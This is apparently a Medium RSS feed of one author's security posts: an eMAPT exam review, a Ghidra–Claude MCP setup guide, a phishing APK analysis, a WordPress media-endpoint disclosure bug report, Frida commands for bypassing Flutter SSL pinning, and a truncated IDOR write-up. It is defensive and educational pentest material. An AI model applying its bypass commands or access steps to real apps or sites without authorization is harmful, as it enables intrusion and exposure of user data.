<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rizaldi Wahaz on Medium]]></title>
        <description><![CDATA[Stories by Rizaldi Wahaz on Medium]]></description>
        <link>https://medium.com/@wahaz?source=rss-a18c4546bba0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*S0b_vhavRPfSbng3yh7p2Q.jpeg</url>
            <title>Stories by Rizaldi Wahaz on Medium</title>
            <link>https://medium.com/@wahaz?source=rss-a18c4546bba0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 04:33:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wahaz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Inside the eMAPT Exam: A Practical Review for Mobile Pentesters]]></title>
            <link>https://wahaz.medium.com/inside-the-emapt-exam-a-practical-review-for-mobile-pentesters-4916df76bf86?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4916df76bf86</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 08:32:53 GMT</pubDate>
            <atom:updated>2026-04-25T08:32:53.513Z</atom:updated>
            <content:encoded><![CDATA[<h3>Background &amp; Why I Took eMAPT</h3><p>As someone working in penetration testing — primarily focusing on web applications and APIs — I realized there was a growing need to strengthen my skills in mobile application security. Mobile apps have become a major attack surface, yet their testing methodology differs significantly from traditional web pentesting.</p><p>The <strong>eMAPT (eLearnSecurity Mobile Application Penetration Tester)</strong> certification stood out as an interesting option because of its strong emphasis on hands-on, practical skills rather than purely theoretical knowledge. That was the main reason I decided to take the exam and evaluate how relevant it is to real-world mobile pentesting.</p><h3>What is eMAPT?</h3><p>In general, eMAPT is a certification designed to assess your ability to perform penetration testing on mobile applications, with a primary focus on Android.</p><p>Unlike broader certifications, eMAPT is quite focused and typically covers:</p><ul><li><strong>Static analysis</strong> (reverse engineering APKs)</li><li><strong>Dynamic analysis</strong> (runtime testing and behavior observation)</li><li><strong>Traffic interception</strong> (using tools like Burp Suite or mitmproxy)</li><li><strong>Basic exploitation of common mobile vulnerabilities</strong></li><li><strong>Understanding Android application structure and security mechanisms</strong></li><li><strong>API and Backend Security Testing</strong></li></ul><p>What makes eMAPT interesting is that it sits somewhere between beginner and intermediate level. It’s not overly complex, but it does require a solid understanding of how mobile apps actually work under the hood.</p><h3>🧪 Exam Structure Breakdown</h3><p>The eMAPT exam is structured into three main sections, each testing different aspects of your mobile security knowledge.</p><h4>1. Situational Questions (MCQs)</h4><p>The first part consists of scenario-based multiple-choice questions. These are relatively straightforward and mainly test your understanding of basic concepts and common security practices. If you’ve gone through the training material, this section should not be particularly challenging.</p><h4>2. Static Analysis Section</h4><p>In this section, you are provided with code snippets — typically in Java — and asked to review them for potential security issues. The goal is to identify vulnerabilities and answer questions based on your findings.</p><p>For anyone familiar with reading Android code and recognizing common insecure patterns, this part is quite manageable. It primarily checks whether you can interpret code logic and spot weaknesses efficiently.</p><h4>3. Practical Section (Core of the Exam)</h4><p>The final section is where the majority of the work takes place. This is a hands-on lab scenario where you are given multiple mobile applications to analyze and exploit.</p><p>You’ll typically receive:</p><ul><li>Android applications (APK files) running on an emulator</li><li>iOS application packages (IPA files) provided separately</li></ul><h4>🔍 Android Workflow</h4><p>For the Android portion, the process usually starts with extracting the APKs from the emulator and performing static analysis using tools such as jadx.</p><p>To properly test the application at runtime, you’ll need to bypass common protections, including:</p><ul><li>Root detection mechanisms</li><li>SSL pinning</li></ul><p>This is commonly achieved using tools like Frida, either by writing your own scripts or leveraging publicly available ones.</p><p>Once you gain deeper access to the application, you’ll often encounter weak authentication logic — for example, a login mechanism that can be bypassed relatively easily, allowing elevated or administrative access.</p><p>From that point onward, the focus shifts toward:</p><ul><li>Enumerating available APIs</li><li>Discovering hidden or undocumented endpoints</li><li>Manipulating requests to extract meaningful data</li></ul><h4>🍏 iOS Workflow</h4><p>For the iOS applications, the process begins with unpacking the IPA files and conducting static analysis.</p><p>During this phase, you may uncover:</p><ul><li>Hardcoded API keys</li><li>Hidden endpoints or functionalities</li></ul><p>Further testing involves interacting with these endpoints, often by fuzzing parameters using a provided wordlist and analyzing the responses.</p><p>In many cases, a significant portion of the required answers can be derived from:</p><ul><li>API responses</li><li>Discovered endpoints</li></ul><p>To streamline the process, some candidates choose to automate parts of the analysis by writing custom scripts for data extraction.</p><p>At a later stage, you may discover credentials — such as SSH access — embedded within the application or exposed via endpoints. These can then be used to access the target system and retrieve the final flag.</p><h3>⚔️ Difficulty &amp; Reality Check</h3><p>At first glance, eMAPT might look straightforward — especially if you already have experience in web pentesting. But in practice, there are a few things that make it more challenging than expected:</p><ul><li><strong>Mobile-specific logic</strong></li><li><strong>Obfuscated or less-readable code</strong></li><li><strong>Differences between expected vs actual app behavior</strong></li><li><strong>Limited guidance</strong></li></ul><p>It’s not “brutal,” but it’s also not something you can pass without preparation.</p><h3>🛠️ Preparation Strategy</h3><p>If you’re planning to take eMAPT, here’s what I would strongly recommend focusing on:</p><h4>1. Core Fundamentals</h4><ul><li>Android architecture (Activities, Services, Broadcast Receivers)</li><li>APK structure and manifest analysis</li><li>Common mobile vulnerabilities (OWASP Mobile Top 10)</li></ul><h4>2. Hands-on Skills</h4><ul><li>Decompiling APKs (e.g., jadx, apktool)</li><li>Using interception tools (Burp Suite, mitmproxy)</li><li>Working with emulators or rooted devices</li></ul><h4>3. Practice Approach</h4><ul><li>Don’t just follow labs — <strong>understand why vulnerabilities exist</strong></li><li>Practice analyzing apps you’ve never seen before</li><li>Build a consistent testing methodology</li></ul><h3>💣 Common Mistakes &amp; Pitfalls</h3><p>From my experience, here are some pitfalls to avoid:</p><ul><li>❌ Relying too much on automated tools</li><li>❌ Skipping static analysis and going straight to dynamic testing</li><li>❌ Not understanding the app’s logic before testing</li><li>❌ Poor time management during the exam</li><li>❌ Weak reporting/documentation skills</li></ul><h3>📊 Is It Worth It?</h3><p><strong>Worth it if you:</strong></p><ul><li>Want to get into mobile pentesting</li><li>Already have basic pentesting experience</li><li>Prefer hands-on, practical certifications</li></ul><p><strong>Not ideal if you:</strong></p><ul><li>Are looking for a highly advanced certification</li><li>Have zero background in application security</li><li>Prefer theory-based exams</li></ul><h3>🎯 Final Verdict</h3><p>Overall, eMAPT is a solid entry-to-intermediate certification for mobile application penetration testing. It won’t make you an expert overnight, but it provides a strong foundation and a realistic introduction to mobile security testing workflows.</p><p>If your goal is to expand beyond web pentesting and start exploring mobile attack surfaces, this certification is definitely a good step forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ra1D-Xqn2YHpQR8KuoyHBg.jpeg" /><figcaption>eMAPT Certificate</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4916df76bf86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Connect Ghidra to Claude for AI-Assisted Reverse Engineering]]></title>
            <link>https://wahaz.medium.com/how-to-connect-ghidra-to-claude-for-ai-assisted-reverse-engineering-c84a46568ae0?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c84a46568ae0</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[claude]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 09:05:43 GMT</pubDate>
            <atom:updated>2026-03-02T09:05:43.559Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, in this post, I’m going to walk through how to integrate <em>GhidraMCP</em> with <em>Claude</em> to make reverse engineering binaries more efficient. I’ll briefly define what MCP is and then explain how to configure Ghidra so it works with Claude AI. This guide specifically focuses on Claude and assumes you already have access to it.</p><h3><strong>Understanding MCP</strong></h3><p>The Model Context Protocol (MCP) provides a way for large AI models (such as Claude or GPT) to communicate with external tools and datasets using a standard interface. Think of an MCP server as a facilitator that lets your AI assistant talk to tools like Ghidra, enabling safer and clearer interactions between them. You don’t need to be an MCP expert just enough to understand how the bridge between tools and Claude functions.</p><h3><strong>Setting Up the GhidraMCP Environment</strong></h3><p>Most reverse engineers know that although <em>Ghidra</em> is powerful at decompiling code, interpreting and renaming functions or variables can still be time consuming. Using an AI model connected via MCP can help ease that cognitive load. The goal here is to set up an environment where Claude can assist with tasks like analyzing function behavior or summarizing code segments, though you still retain control over final decisions.</p><h3><strong>To begin:</strong></h3><ol><li><strong>Download the GhidraMCP package</strong> (latest version).</li></ol><p><a href="https://github.com/LaurieWired/GhidraMCP/releases">https://github.com/LaurieWired/GhidraMCP</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SypizaGficzSWht-RURbCg.png" /><figcaption>Download the .zip</figcaption></figure><p>2. Open Ghidra and install the GhidraMCP extension by selecting the downloaded archive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*afaok5T08HpxzYHQeJhPew.png" /><figcaption>Click File -&gt; Install Extensions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhQYNHiax2tc7FdW4ksYxw.png" /><figcaption>Click + Button for Add extension</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DR9HKMaF5lD-hzi1hRYluA.png" /><figcaption>Select the .zip extracted Ghidra</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-FBYkVOqTN3L50lyvFrGA.png" /><figcaption>GhidraMCP is installed</figcaption></figure><p>3. Enable Developer Mode in Ghidra settings so the extension is activated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6CeV95ooGSsDYyDqXzn39w.png" /><figcaption>Click File -&gt; Configure</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGk4N7DogimuYo7-2k36vQ.png" /><figcaption>Checklist the Developer options</figcaption></figure><p>4. Install the Model Context Protocol SDK</p><pre>pip3 install &quot;mcp[cli]&quot;</pre><p>or if fail, try</p><pre>pip3 install mcp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vScFg9HP_0mCSKvrjgBVTg.png" /></figure><p>5. In Claude’s configuration file, register the MCP server entry pointing at the GhidraMCP bridge script. That tells Claude how to start a server that connects back to Ghidra.</p><p>Go to File -&gt; Settings -&gt; Developer -&gt; Edit Config</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t9kUsdR04LDrzUgfN-SwkA.png" /><figcaption>Local MCP Servers</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*8A7e3l6VABZgwz6ba4LY2g.png" /><figcaption>claude_desktop_config.json</figcaption></figure><pre>{<br>  &quot;mcpServers&quot;: {<br>    &quot;ghidra&quot;: {<br>      &quot;command&quot;: &quot;python3&quot;,<br>      &quot;args&quot;: [<br>        &quot;/YOUR_PATH/bridge_mcp_ghidra.py&quot;,<br>        &quot;--ghidra-server&quot;,<br>        &quot;http://127.0.0.1:8080/&quot;<br>      ]<br>    }<br>  }<br>}</pre><p>If ghidra and claude success connect, you will see running status beside ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHOgGmNwSb4WbFLQTUcluA.png" /></figure><p>Once this configuration is complete and Claude has been restarted, Claude should list an option for the Ghidra MCP server. From there, you can test it by asking Claude to inspect a simple binary’s functions and assist with naming or reasoning about its logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*28KGF-HfUavadT1w4KUU6w.png" /><figcaption>Ghidra success connected</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vT6xJ1PN6QvXttQjcm-wqQ.png" /><figcaption>Ghidra connectors tools</figcaption></figure><h3><strong>Proof of Concept</strong></h3><p>Now, I’m going to conduct a proof-of-concept experiment using GhidraMCP with Claude. For the experiment, I’m using a CTF Challenges from PicoCTF titled Crackme 0x100 with a medium difficulty level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhXyMcvDcVuMLOIMtTmBwQ.png" /><figcaption>PicoCTF</figcaption></figure><p>First we import the challenges file to the Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4wZw8Scb81MTIQAApH_Kg.png" /><figcaption>Import Challenges</figcaption></figure><p>Then Analyzed using Ghidra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dpJqWjOwM3yy8pMWWpucMw.png" /><figcaption>Analyzed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjXspYjRagisqea-Jqbl4g.png" /><figcaption>Import results summary.</figcaption></figure><p>After import challenges completed, we move to Claude and start prompting. When Claude displays the permission to use function, we can choose always allow or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRNx9-nk6GwB2WKvAtgq2g.png" /><figcaption>Prompt in Claude</figcaption></figure><p>After waiting for several moment, we can see that Claude has completed the analysis and show how the binary works and the solution script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccam7zpHE19V5un_98Sv3g.png" /><figcaption>Results of the analysis</figcaption></figure><p>Solver script works and we get the real flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjQNKXuSfrPsGppVrIsTXQ.png" /><figcaption>Get the flag using the solutio solver script</figcaption></figure><p>The flag successful submit to the platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfHlwpDUeHKIyP30g7kMEQ.png" /><figcaption>Flag is correct</figcaption></figure><h3>The Conclusions</h3><p>Integrating Ghidra with Claude through GhidraMCP demonstrates how AI can significantly enhance reverse engineering workflows. Beyond simplifying CTF-style challenges, this setup can assist in real-world malware analysis from identifying obfuscated routines and decoding custom string algorithms to mapping suspicious API usage and summarizing potential attacker capabilities.</p><p>While human validation remains essential, AI reduces repetitive analysis tasks and accelerates initial triage. Used properly, Claude becomes a powerful analytical assistant inside Ghidra not replacing the reverse engineer, but amplifying their efficiency and insight.</p><p>As AI-assisted tooling matures, workflows like this may become a standard component of modern malware analysis environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c84a46568ae0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[APK Malware Analysis Using Red Teaming Approach]]></title>
            <link>https://wahaz.medium.com/apk-malware-analysis-using-red-teaming-approach-e4cc6d5f9d79?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4cc6d5f9d79</guid>
            <category><![CDATA[android-malware]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[phising]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Sun, 26 Oct 2025 04:33:13 GMT</pubDate>
            <atom:updated>2025-10-26T04:33:13.455Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, long time no write here. Now I will share my technical analysis about APK Malware using Red Teaming Approach. Actually I do this for a few months ago, but just in the mood to write today.</p><p>The APK was phising to Taspen Application, with MD5 Hash is 2b01c6cdbff422c59d403be828859aa2. The methodology I was use is static and dynamic analysis. For the static analysis I use MobSF, JADX, APKTool. For dynamic analysis I use Burpsuite, nmap, dirsearch, and manual analysis. I will jump to dynamic analysis directly so that this article is not too long.</p><p>The first, I try to intercept the application with Burpsuite, to analysis the behaviour and flow of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F61Fd7DgNdnxMftRP3Jzeg.jpeg" /><figcaption>Intercept application APK Malware with Burpsuite</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jy-neQidjT77Ri5fgBW4g.png" /><figcaption>Application Malware Flow</figcaption></figure><p>From the image above, we can see that:</p><ul><li>The request was sent to the domain rpc[.]ynilx[.]top</li><li>Request and response body was encrypted.</li><li>Application was show the phising login form of the Taspen Application.</li><li>No matter what I input on the login form, the application will accept and continue the input.</li><li>Application need users to allow permission of accessibility and recording/casting the mobile phone.</li></ul><p>Next step is too try dig dive with the detail. I try to analysis the Json Web Token (JWT) and Domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kEujXJS-raFZO9LHeo2wig.png" /><figcaption>Json Web Token (JWT) sent in Header</figcaption></figure><p>The JWT value have 3 parameter which is exp (expired), site_name (wich is using chinese language), and uid. The translate of the site name is <strong>lx indonesia-backstage 2</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKsfqEh33g-f0tlLJSTJBA.png" /><figcaption>Domain analysis with VirusTotal and Censys</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZ2HImdICSOh7jDIR9lZIQ.jpeg" /><figcaption>DNS History</figcaption></figure><p>For the domain analysis I just use VirusTotal (VT) and Censys, the VT show that the IP Public is <strong>38.47.53.26 </strong>and have <strong>4 dns replication</strong>:</p><ul><li>rpc[.]ynilx[.]top</li><li>kef[.]ynilx[.]top</li><li>ador[.]ynilx[.]top</li><li>njailing[.]cn</li></ul><p>While the location of the IP Public Server was on the <strong>Japan</strong>. The history of the DNS was in US, Singapore, and China.</p><p>Until this step, the temporary hypothesis that can be concluded is that the hacker is trying to hide identity, by using Chinese language in some application parameters, as well as using VPS from Japan, and actively changing DNS location.</p><p>I move from the mobile application and try to analysis with the web application domain. I found some interesting findings here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hq9zR5O3aU8KCJZAoHzJSw.jpeg" /><figcaption>Found API of the Web Apps</figcaption></figure><p>I enumerate the domain and found that the domain have <strong>Simple Realtime Server (SRS) </strong>API. From what we have found at the beginning, the application asking for screen recording/casting permission is very related, it is possible that the hacker is monitoring the victim screen from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO-jNDdlsa95D_rSu8c8aQ.png" /><figcaption>Application show Indonesian translation</figcaption></figure><p>Furthermore, when I try to access the domain and try to login, the error notification show the Indonesian translate “kata sandi salah”, and on the Burpsuite show more of the Indonesian translate of the web apps menu. From this we can conclude that the Hacker is from <strong>local Indonesian</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkWl_LEb9iB68-Tih_s4Pw.png" /><figcaption>Nmap Open Ports Results</figcaption></figure><p>The output results of the Nmap confirmed that the IP is open for port <strong>8080 SRS/6.0.155 (Hang)</strong> and <strong>30047 SRS Stream API Root</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-AqfU7kSWQc_P7t1uZ8CJg.png" /><figcaption>Hacker SRS Console Server</figcaption></figure><p>During the analysis process, surprising vulnerability was discovered is an <strong>Unauthenticated SRS Console</strong>, which allows anyone to access the SRS console without authentication.</p><p>We can view information about the SRS server and who is currently connected to it. The image above shows <strong>nine clients actively connected</strong> to the hacker SRS server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s993yZmDlQOz5w_9QERQ1w.png" /><figcaption>Sample of the Victim connected to the Hacker</figcaption></figure><p>I tried and successful to viewing the victim mobile phone screen recording in real time, in this case using the <strong>RTMP Protocol </strong>without any authentication. I use the VLC player application by entering the IP, port, and ID Victim in the SRS hacker console.</p><p>This is very dangerous if the hacker can see the victim mobile phone activity in real time, the hacker can see the <strong>OTP Code sent to the victim</strong> and then authenticate to official application using the credentials the victim sent in the initial input form.</p><p>In general, the scenario used by hackers is:</p><ul><li>Hacker distribute phishing applications via WhatsApp/phishing websites.</li><li>Phishing applications contain victim credential input.</li><li>The application requests accessibility permissions and records/casts the screen victim.</li><li>Hacker attempt to log in using the credentials entered by the victim.</li><li>Hacker monitor the victim screen in real time to view the OTP Code.</li><li>Hacker take the victim money stored in the application.</li></ul><p>This scenario can be mass-duplicated by phishing government, private, and banking service applications such as tax, police, postal, banking, and so on.</p><p>Thats the analysis I can make. Stay safe everyone.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4cc6d5f9d79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Wordpress Misconfiguration Lead to User Files Disclosure ($$$)]]></title>
            <link>https://wahaz.medium.com/wordpress-misconfiguration-lead-to-user-files-disclosure-a7cbdce11df0?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a7cbdce11df0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Fri, 07 Mar 2025 10:59:37 GMT</pubDate>
            <atom:updated>2025-03-07T10:59:37.795Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello again in bug hunt story. I’m part time bug hunter, so in my spare time I take a look in some program in but bounty program. I try to hunt in new program with the scope is a website. I look the website is a Wordpress CMS, then I open <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress">wordpress cheatsheet pentesting</a>.</p><p>During my hunting, I analyst some interesting wordpress endpoints. Do you know Wordpress REST API?</p><pre>GET /wp-json/wp/v2/*</pre><p>There is several points about my analysis:</p><ul><li>I can’t access the endpoints when unauthenticated, “Only authenticated users can access the REST API”.</li><li>The website have public registration.</li><li>The website have upload feature from public contact form.</li></ul><p>So, I think the attack scenario has complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sh7QHISRh2-5iEcsMw4Wsg.png" /><figcaption>Attacker Scenario</figcaption></figure><p>I discovered that the <strong><em>GET /wp-json/wp/v2/media</em></strong> endpoint exposed a complete list of uploaded files from all users. This endpoint, accessible without proper authentication or authorization, allows an attacker to view and download sensitive files.</p><p>This vulnerability enables an attacker to download all confidential or sensitive files uploaded by users of the website. These files, which should be restricted to authorized users, become publicly accessible, posing a serious security risk.</p><h3>Steps to Reproduce</h3><ol><li>Attacker discover REST API Endpoint of Media Uploaded Files, but only authenticated user can access.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*xYV-5YcyZU_-xSrHa5lUFg.png" /><figcaption>REST API Access Denied</figcaption></figure><p>2. Attacker try to upload a test file via the <a href="https://astraisuzu.co.id/contact"><strong>https://redacted.com/contact</strong></a> page.</p><p>3. Then, attacker try to public registration.</p><p>4. Using cookie from registration account, then try access the following endpoint</p><blockquote><strong>GET /wp-json/wp/v2/media</strong></blockquote><p>5. Observe that the API response contains a list of uploaded files, including URLs that allow direct downloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLG5iBvDhoCt8D4kLxM22g.png" /><figcaption>REST API Access Granted</figcaption></figure><p>6. Verify that these direct link files can be accessed <strong>without authentication</strong>, meaning an attacker could retrieve and download all uploaded documents.</p><h3>Lesson Learned for Developer</h3><h4>Secure API Endpoints with Proper Authentication &amp; Authorization</h4><ul><li>Restrict access to the <strong><em>GET /wp-json/wp/v2/media</em></strong> endpoint by requiring proper authentication and authorization.</li><li>Implement <strong>role-based access control (RBAC)</strong> to ensure that only authorized users can access their own files.</li><li>Remove unnecessary metadata exposure in the API response.</li></ul><p>This issue highlights the <strong>importance of securing media endpoints</strong> in WordPress-based websites, as unrestricted access could lead to <strong>data leaks and privacy breaches</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7cbdce11df0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finally, SSL Pinning for Flutter Bypassed After Frustration..]]></title>
            <link>https://wahaz.medium.com/finally-ssl-pinning-for-flutter-bypassed-after-frustration-4573e15ed18e?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4573e15ed18e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[flutter]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Fri, 23 Aug 2024 10:12:06 GMT</pubDate>
            <atom:updated>2024-08-23T14:16:44.008Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello friends, it’s been a long time since I’ve written anything, but I’ve finally motivated myself to start writing and sharing again — of course, about cybersecurity. Today, I want to share my experience in mobile pentesting, specifically with Android apps built using the Flutter framework.</p><p>There are several popular ways to bypass ssl pinning</p><ol><li>Using Frida (Easy if you can get the right scripts, or you can make your own scripts)</li><li>Using Objection (Personally, I rarely use this)</li><li>Using DroidProxy (Worth to try for experience)</li><li>reFlutter (in this case, I try to extract the apk from Play Store but its broken, I still don’t know why(?))</li><li>Reverse the APK and modified the Smali Code (Stressful)</li><li>etc</li></ol><p>Of course, as a L̶a̶z̶y̶ Professional Pentester , I try the best method, which is using the mighty Frida. But, I don’t know why, the script that I usually use is not working :/</p><p>I tried a ton of scripts, but still got nothing — until I found this GitHub repository</p><blockquote><a href="https://github.com/NVISOsecurity/disable-flutter-tls-verification">https://github.com/NVISOsecurity/disable-flutter-tls-verification</a></blockquote><p>Credits to the author. It worked!! Thanks god, finally I can continue my Pentest work more deep with my lovely Burpsuite ❤</p><p>This is the step by step bypass using frida</p><ol><li>Download frida server, select the latest version release, and the best fit environment of your emulator device <br><a href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a></li><li>Install adb in your PC (A lot tutorial about this, you can google it)</li><li>Push frida-server to emulator device <br>$ adb push frida-server /data/local/tmp/</li><li>Change permission of frida-server<br>$ adb shell “chmod 755 /data/local/tmp/frida-server”</li><li>Run frida-server<br>$ adb shell “/data/local/tmp/frida-server &amp;”</li><li>Select the application package you want to bypass<br>$ frida-ps -U</li><li>Then try this to your flutter application<br>$ frida -U --codeshare TheDauntless/disable-flutter-tls-v1 -f YOUR_BINARY</li><li>Successfully bypass will look like this</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MQeg0mIaBAvKmmgyPqQSJg.jpeg" /></figure><p>Thats it…</p><p>Thank you, my friend, for reading my pentest diary about bypassing a Flutter application. I hope you’re doing well. See you in the next story, and stay ethical.</p><p>Reference:</p><ul><li>https://blog.nviso.eu/2022/08/18/intercept-flutter-traffic-on-ios-and-android-http-https-dio-pinning/</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4573e15ed18e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[($$$) Broken Authentication and IDOR at [REDACTED]]]></title>
            <link>https://wahaz.medium.com/broken-authentication-and-idor-at-redacted-646de8d508e6?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/646de8d508e6</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Mon, 21 Mar 2022 12:42:10 GMT</pubDate>
            <atom:updated>2022-03-21T12:46:27.677Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello InfoSec community hope you guys are good, I want to share my finding in bug bounty about Broken Authentication and Insecure Direct Object Reference (IDOR) at [REDACTED], here we go <a href="https://emojipedia.org/fire/">🔥</a></p><h3>Proof of Concept</h3><p>First is understanding the program, *.redacted.com is in scope so we can try to find all of the subdomain of the website. We can use tools to enumerate subdomain like Sudomy, Subfinder, Sublist3r, etc.</p><ul><li><a href="https://github.com/screetsec/Sudomy">GitHub - screetsec/Sudomy: Sudomy is a subdomain enumeration tool to collect subdomains and analyzing domains performing automated reconnaissance (recon) for bug hunting / pentesting</a></li><li><a href="https://github.com/projectdiscovery/subfinder">GitHub - projectdiscovery/subfinder: Fast passive subdomain enumeration tool.</a></li><li><a href="https://github.com/aboul3la/Sublist3r">GitHub - aboul3la/Sublist3r: Fast subdomains enumeration tool for penetration testers</a></li></ul><p>After get the subdomin, I try to open and see one by one of them, then get one of the interesting subdomain that show the login page, I guess the login page was for the admin panel. So I go deeper and try to find something interesting in that subdomain.</p><p><a href="https://github.com/danielmiessler/SecLists">GitHub - danielmiessler/SecLists: SecLists is the security tester&#39;s companion. It&#39;s a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.</a></p><p>Try to fuzzing with common security wordlist <a href="https://admin.redacted.com/"><strong><em>https://admin.redacted.com</em></strong></a><strong><em>/FUZZ</em></strong>, we can use fuzzing tools like gobuster, wfuzz, ffuf, etc. Found some wordlist is response with 200 